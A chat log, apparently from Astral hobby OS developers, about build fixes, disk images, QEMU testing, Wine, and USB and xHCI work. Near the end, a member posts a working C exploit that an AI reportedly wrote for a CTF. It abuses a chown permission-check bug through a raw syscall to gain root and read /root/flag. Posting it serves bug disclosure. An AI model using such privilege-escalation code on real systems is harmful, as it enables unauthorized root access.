Idk, like my ISP just sits on a big IPv4 pool and gives public IPs to everyone

But some use CGNAT and stuff like that

[grand shadow]

working on merging the xhci work by iretq

currently doing a first pass of the code

[grand shadow]

Did a first manual review of the code today

Hopefully we can get this + like hid and msd merged by sunday

[marsh sparrow]

@errant zephyr did you check if the statically linked perf actually works?

Because if i naively compile it on alpine with -static it doesn't work

[errant zephyr]

hmm not really

but also wdym doesnt work

[marsh sparrow]

perf record doesn't work / crashes

[errant zephyr]

huh

yes mine works

arm supremacy

it might be trying to use system libraries

[grand shadow]

Very decent chance of me upgrading my vps and running marvin's buildbot thing

[marsh sparrow]

write an xbbs backend for jinx and we can unironically share compute with astral

[fierce forge]

I wanted to run it on one of my sbcs, but couldn't set it up

[grand shadow]

vps acquired, time to do a mlibc update and world rebuild while I set it up0

as well as jinx update

[worthy mica]

Woo finally mlibc update lol

[grand shadow]

@fleet osprey patch init... fail....

(the bash patch needs some more bullshit)

[mild sentinel]

this is the bullshit i ended up with for 5.3 💀
if you got modern jinx working il see if my PC can compile astral and i can try and make it work (with less bullshit hopefully)

[grand shadow]

oh I made it build much simpler

[mild sentinel]

oh nice lol

what did it happen to be?

[grand shadow]

configure() {
cp -rp ${source_dir}/* .
CFLAGS_FOR_BUILD="-std=gnu17 -g" ./configure --host=x86_64-astral --prefix=${prefix} --without-bash-malloc
}

https://tenor.com/view/gigafly-huge-fly-gigachad-fly-gigafly-soyjak-wiki-gif-7061553732606873422

[fleet osprey]

Kinda expected I never even tested it, just did it for the meme

[mild sentinel]

ah neat, i have no idea what tf was up with my stuff then 💀

[grand shadow]

were u running with updated jinx

[mild sentinel]

yes, and updated mlibc etc

[grand shadow]

the updated jinx has a new debian snapshot

which ships a newer gcc

which defaults to c23

which causes bullshit to happen

because they decided to completely break backwards compatibility

[mild sentinel]

ahh crap i forgot to set that 😭

thats why i needed that

they also broke doom with the c23 default too iirc

[grand shadow]

solution is to just std=gnu17

Its also why I havent bothered to update my cross compiler yet

Maybe I should let clanker do it

[opal lotus]

vro

just steal zinnia recipes

i have 15.1

it's not too bad

[errant zephyr]

the solution is to just switch to clang

this recommendation has been brought to you by the "lol im never porting either llvm or gcc to my os anyway" gang

the only compiler ill ever have ported is probably like javascriptcore ngl

[willow rapids]

bro (bash 5.3.3 with latest jinx, gcc and mlibc)

tbf my old bash script did look like that lmao

[grand shadow]

spent the better part of these two days just fighting with build systems to get mlibc and jinx updated and running on my vps

I now have buildbot running at https://build.astral-os.org

[fierce forge]

I'm trying to make it work as well but it's refusing to

[prime juniper]

xbbs master race (support for jinx is welcome, but you know what they say, talk is cheap send patches )

[grand shadow]

I think czapek wanted to work on that

[grand shadow]

my goal for usb rn is to take what I can of czapek's work and focus on getting hotplugs and hubs fully working first, since both of these are the foundation the rest of the usb stack

after that I can work on any class drivers I want

[grand shadow]

buildbot seems to be working now and I got a handy script to automatically copy and sign packages into a repository

tomorrow I will look into adding instructions for the jinx download thing

[grand shadow]

I will also make it create a new disk image from the repos daily, so that there will always be an image ready

[grand shadow]

https://astral-os.org/releases/

yay

[bronze nexus]

hype

let me try it in QEMU

@grand shadow it says stage 3 file not found if I run it like this: qemu-system-x86_64 -M q35 -hda ~/Desktop/x86_64-disk-minimal.img

[grand shadow]

yeah I'm still debugging it

[bronze nexus]

Do I need OVMF for this?

[bronze nexus]

ah

[grand shadow]

don't think so

rn I'm trying to get the initrd image to work

[bronze nexus]

lmk when it works cuz I wanna try it

[grand shadow]

well it boots with those args now but seems to immediatelly cause a smap/smep violation if kvm is off 💀

I tested it with nvme and kvm and it works tho

lemme send the cmdline

[bronze nexus]

How do you invoke qemu then?

[grand shadow]

qemu-system-x86_64 -M q35 -m 2g -smp cpus=4 -serial stdio -netdev user,id=net0 -device virtio-net,netdev=net0 -drive file=x86_64-disk-minimal.img,if=none,id=nvme,format=raw -device nvme,serial=deadc0ff,drive=nvme -enable-kvm -cpu host,migratable=off

I'll see if I can fix the smap/smep thing

[bronze nexus]

Same error as before, have you changed the image on the site?

In that case I need to redownload

[grand shadow]

I have yeah

my generation script wasn't fully working

I haven't tested the full one but the only things it changes is what packages are installed so it shouldn't have any issues

[bronze nexus]

ok

download time

[bronze nexus]

BTW you can add ,format=raw to your -drive to make QEMU not complain about disk format

[grand shadow]

sure

[bronze nexus]

it starts now

[grand shadow]

yay

[bronze nexus]

though ls -l is broken it seems?

[grand shadow]

oh bruh its not chwoning the astral dir

💀

[bronze nexus]

lol

[grand shadow]

I thought I did that in the distro-files post isntall config, guess not

oh yeah in my usual script I do it using find and a chown command

oopsie

[bronze nexus]

ls without -l works

damn, your bin and usr/bin aren't symlinked?

that's very oldschool

[opal lotus]

L

[bronze nexus]

@grand shadow did you update the full image also or just the minimal?

[grand shadow]

the full image should theoretically work now though I haven't tested it yet. I am running a new regen of the images with the astral uid stuff fixed

[bronze nexus]

cool

I'll wait for your regen then

[opal lotus]

@grand shadow how is the thing working for you?

any big issues so far?

[grand shadow]

seems to be working fine

[worthy mica]

holy trying to build steam on astral

Wine glitching

took me 30 min to download that full image thing

[grand shadow]

I'm trying to figure out why tf the image is not building with the proper uids despite it having the proper uids in the sysroot

also tmpfs does not have the right access bits so its kinda broken until I implement mount optiohns

time to make /tmp get chmod'd at localmount time

[grand shadow]

ok rootless xorgs works once again

going to wait for the server to build it while I try to see wtf is going on with the uids in the images

[grand shadow]

@opal lotus

does buildbot somehow umask git files into being user accessible only?

for some fucking reason my distro-files/etc/profile is 0600 in the buildbot worker git clone despite being 0644 in the git index

my fault anyways for not chmoding things correctly on install

[opal lotus]

no idea

could be

[bronze nexus]

that must be related to /etc/passwd being 600 instead of 644?

AFAIK that, even though it contains password hashes, should be world readable

[bright knoll]

does /etc/passwd contain passwords?

isn't that /etc/shadow?

[flint condor]

not since the 90s

[bronze nexus]

In old times it did

[bright knoll]

ah

[bronze nexus]

This is the case also for Astral

[flint condor]

password field should just contain * right?

[bronze nexus]

No, they contain x

[grand shadow]

@bronze nexus should work now

the minimal disk image seems to work

I am xbps installing xorg just to be sure ™

ok there are still some rough edges around rootless xorg (that I somehow don't hit on my normal root) but X did seem to get installed and I'm trying to see if I can wrangle around that by chmoding some stuff

yay

all of that was installed by xbps install on the minimal disk root

[bronze nexus]

Cool I'll download the full img now

[grand shadow]

I've set up for a new image to be generated at midnight utc every day

[bronze nexus]

alright download finish

hey look ls -l does indeed work now

[bronze nexus]

I tried starting DISPLAY=:0 twm but it didn't work unfortunately

[grand shadow]

Hm what is the issue?

[bronze nexus]

twm: error: unable to open display ":0"

[grand shadow]

Did u run X &

[bronze nexus]

ah

no

[grand shadow]

:p

[bronze nexus]

But it also is not happy

[grand shadow]

Yeah thats the issue I ran into

[bronze nexus]

note that I have no experience with anything desktop lol

[grand shadow]

Just run X as root (tbh just sudo /usr/libexec/astral/startwm)

[bronze nexus]

QEMU doesn't let you emulate paste

cringe

I got a SMAP/SMEP violation oops

[grand shadow]

lmao what did u do

[grand shadow]

oh wtf

[bronze nexus]

Only difference is -display sdl on cmdline, but that seems unrelated right?

[grand shadow]

probably yeah

[bronze nexus]

Tried again and didn't happen this time

pretty cool

what do you have ported?

unfortunately doomgeneric doesn't work

[grand shadow]

I have quite a lot of stuff ported, you can try doomgeneric-x11 for the x11 version

or tyr-quake

minesweeper

solitaire

lets see

links -g

and if you really want to try it out

links -g https://omniarchive.uk, download alpha 1.2.6 and then run something like this:

/usr/lib/jvm/java-17/bin/java -Xms1g -Xmx1g -Djava.library.path="/usr/share/lwjgl" -cp "lwjgl.jar:lwjgl_util.jar:/home/astral/minecraft.jar" net.minecraft.client.Minecraft
``` :P

[grand shadow]

that is quite spooky

unless somehow we are not on the same kernel 22dd0 is somewhere in the userspace check trampoline

for signal stuff

(and if rax is any clue, we are)

I don't have the same kernel on my local tree so I had to objdump it on fucking astral itself 💀

[bronze nexus]

May 2 07:44:23 PM build

[grand shadow]

yeah thats probably last night

[fierce forge]

do you not stop other CPUs on panic?

[grand shadow]

I do

[bronze nexus]

Oops isn't a panic

[grand shadow]

it is

[bronze nexus]

In Linux, an Oops just kills the process

But for you it's just a panic?

[grand shadow]

its just a silly message I added

to the kernel panic

[bronze nexus]

ah

i see

[bronze nexus]

oooh

I play that all the time

[grand shadow]

yeah you have two options as far as minesweeper goes

minesweeper from ace of penguins or wine winemine.exe

[grand shadow]

ok I see the bug here and its stupid

[bronze nexus]

the former is way more dense than the usual expert mode minesweeper

Do you have a network stack?

And: a browser?

[grand shadow]

yes and yesish

links/links -g or even wine iexplore.exe but that can crash if the javascript engine runs (same bug as steam)

[bronze nexus]

I mean the styling isn't there at all

But hackaday loads

and is semi-readable

[bronze nexus]

same bug as steam
I presume there's a kernel bug causing this?

[grand shadow]

I genuinely have no idea if it is a kernel bug or a wine port bug or something completely unrelated

chances are it is a kernel bug but even after looking into it for a few days I didn't even begin to understand what was going on there

wine is just such a giant piece of software

[bronze nexus]

lol i exploded ur kernel again

AFAIK this is a page with JS in it though

So to be expected

[grand shadow]

ughhh I thought I had fixed that stupid bug

it only happens with smp on

the js page bug just crashes wine not the whole kernel

[bronze nexus]

qemu-system-x86_64 -M q35 -m 2g -smp cpus=4 -serial stdio -netdev user,id=net0 -device virtio-net,netdev=net0 -drive file=x86_64-disk-full.img,if=none,id=nvme -device nvme,serial=deadc0ff,drive=nvme -enable-kvm -cpu host,migratable=off -display sdl

[bronze nexus]

ah

[grand shadow]

oh wait I had looked into it and tried to do some fixes but never really even pushed them

[bronze nexus]

well

[grand shadow]

hmm maybe I can look into fixing it, that is the only stupid race condition I can think of rn

[bronze nexus]

Glad I'm your tester now

[grand shadow]

though seeing wine properly work on smp 4 is nice

even if it explodes becaues of that one bug

[bronze nexus]

BTW can you update astral from within astral?

like including kernel and everything

[grand shadow]

in this new image format yeah you just gotta like mount /boot (so first partition)

and then sudo xbps-install -Syu

[bronze nexus]

why isn't boot on automount

[grand shadow]

because the image isn't supposed to lock you into any sort of disk type

you'd have to specify nvme or ahci or virtio or whatever

even for booting if you use something alternative you have to change it on limine.conf

(first at the limine menu then mount boot and change it)

[bronze nexus]

right

So basically

The installation is a somewhat manual process

[flint condor]

what's kernec

[grand shadow]

yeah theres no proper installer

[bronze nexus]

I really thought people would do those earlier

Because like

[grand shadow]

its sort of like arch linux manual levels of installation

[flint condor]

installer isn't as trivial as it seems

[grand shadow]

funny typo

[bronze nexus]

Proper installer is the first major userspace goal for me

[flint condor]

will you let userspace write raw disk blocks?

[grand shadow]

its one of the things I want to do befoer a 1.0 or whatever but its not high on my priority list right now as much as something like self hosting

[bronze nexus]

only if you're root

[grand shadow]

or usb

or etc

[bronze nexus]

makes sense

[grand shadow]

and it'd probably just be an enshittified archinstall or some shit 💀

[flint condor]

just make your os single user

[marsh sparrow]

xbps-install;D

[grand shadow]

https://tenor.com/view/invincible-earth-isn't-yours-to-conquer-you-don't-seem-to-understand-omniman-omni-man-gif-2518654539062696723

getadapteraddress() bug seems fixed

[mild sentinel]

Does this mean rayan is turning into a furry soon?

(Eg steam working)

[grand shadow]

well it still dies for some fucking reason on the wow64 test binary

but it works on the 64 bit one

[mild sentinel]

Damn

[grand shadow]

and I forgot if steam itself is 64-bit

I know the installer is 32

but not sure about the installed one

[grand shadow]

ok so I finally managed to isolate this shit

there is something completely fucked with wine dns

to the point that where even the small call to get the current dns server address of an interface causes wine to have a genuine crashout

anyhow, a quick "removing some bullshit" gets around that and GetAdapterAddress() works on wow64 and normal wine

[grand shadow]

huh interesting thing

I don't know if it is the fact that I fixed this or that I updated mlibc or whatever happened

but it seems like steam is doing all its installing in a single go?

before I had to restart it a few times before it finally finished

[grand shadow]

well unfortunate, seems to have deadlocked?

[grand shadow]

Been doing usb work lately

Got the plugged in path mostly done

Just gotta finish the endpoint configuration callbacks and the driver attachment

[native pollen]

USB MIKRO TYP B GERÄTEN

[grand shadow]

Honestly instead of chasing high goals like running steam or whatever I should just consolidate what I have an work towards finishing usb, self hosting, add audio and an install program

Once all that is done I think I can call it 1.0

(I keep thinking this and then getting side tracked with trying to run some absurd shit on astral)

Maybe I can focus on audio and usb rn since its what would be needed to let it be fully able to game on that one arcade machine

[marsh sparrow]

maybe we should make uHDA work both on Astral and Managarm

[carmine swallow]

I should also finish the mmap stuff in uhda, I started doing it a while ago but then I got sidetracked to doing something else again. the changes themself aren't even that bad its mostly just that it requires refactoring stuff and adding a new kernel api

[analog berry]

Do it

[marsh sparrow]

there was also the ALSA-is-braindead issue, right?

[carmine swallow]

yes

[marsh sparrow]

IIRC that was about feature negotiation?

Can this be put into uHDA / a generic lib or will Managarm and Astral need to deal with it separately?

[carmine swallow]

I guess it could be shared as it basically just involves feeding in the parameter struct pointer got from an ioctl to a function that modifies some of the values inside it according to what the driver supports/what its configured with

(along with the annoying to get right part which involves doing the actual iterative refinement in a way where interdependent parameter ranges/masks get correctly updated)

[grand shadow]

I challenged gpt-5.5 to a CTF in astral and it actually did it

this can give you root by a bad check in chown:

This was run inside the VM as astral:

#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>

int setresuid(int, int, int);
int setresgid(int, int, int);

static long sc5(long n, long a, long b, long c, long d, long e) {
    long r;
    register long r10 asm("r10") = d;
    register long r8 asm("r8") = e;
    asm volatile("syscall"
        : "=a"(r)
        : "a"(n), "D"(a), "S"(b), "d"(c), "r"(r10), "r"(r8)
        : "rcx", "r11", "memory");
    return r;
}

int main(int argc, char **argv) {
    if (argc > 1) {
        setresgid(0, 0, 0);
        setresuid(0, 0, 0);
        FILE *f = fopen("/root/flag", "r");
        char b[256];
        size_t n = fread(b, 1, sizeof(b) - 1, f);
        b[n] = 0;
        puts(b);
        return 0;
    }

    chmod("/tmp/x", 04755);
    sc5(38, -100, (long)"/tmp/x", 0, -2, 0);
    execl("/tmp/x", "/tmp/x", "p", NULL);
    return 1;
}

[grand shadow]

it found another bug, this time its an open() permission check bug

[fleet osprey]

lol nice

[grand shadow]

new fastfetch fields

[viscid flame]

when gpu detect

iirc fastfetch can detect llvmpipe

[grand shadow]

neofetch had it, I think I can just enable it

[grand shadow]

ok so

first smoke test of the xhci

[fleet osprey]

ehci when

(I'd help test on my Optiplex 755)

(can't send patches since idk how it'd even work, but I could send tests)

[grand shadow]

codex please generate me a full ehci driver make no mistakes k thx

[wraith surge]

wait, an xhci driver can use older usb types too?

[fleet osprey]

yes, but it only supports new devices that actually have an XHCI USB HC

some older / cheaper stuff only has EHCI

[wraith surge]

yeah well, most x86_64 pcs have xhci

[fleet osprey]

not all

[wraith surge]

that's why i said most

[fleet osprey]

most new ones do

[opal lotus]

well duh?

[fleet osprey]

anything older than like 2015 it's like 50/50

[opal lotus]

that's kind of implied

[fleet osprey]

no? lol

what

where is "new" implied in "most"

[opal lotus]

are you living in 2015?

[fleet osprey]

"most" implies most of the entire series of devices

which for x86_64 PCs ranges quite far back

if you total up every x86_64 PC ever produced, most actually do not have XHCI

most new ones do, but that is not implied by "most"

[opal lotus]

a lot of these older machines aren't used anymore tho

so they might as well not exist

[fleet osprey]

that's simply not true

but whatever

I'm not arguing about this at 11:40PM

I have more productive things to be doing

[robust geyser]

it's safe to assume anything post sandy bridge has xhci

and why the fuck would you target anything less than that

and not "most new ones do", ALL new ones do

[errant zephyr]

no i dont think thats true

the number of systems produced per period of time increases

[formal patio]

Change that to "highly likely" and you are right

[analog berry]

that seems precise because my 2010 laptop only has EHCI

im frankly not even sure how you're supposed to plug usb 1 devices into it?

[marsh sparrow]

it probably has a chipset integrated hub

[analog berry]

probably

[robust geyser]

imo not worth going through the hassle of writing an ehci driver just for the few pcs you'll encounter that don't have xhci

[formal patio]

from the managarm source, EHCI doesn't look all too bad if you disregard the companion controller memes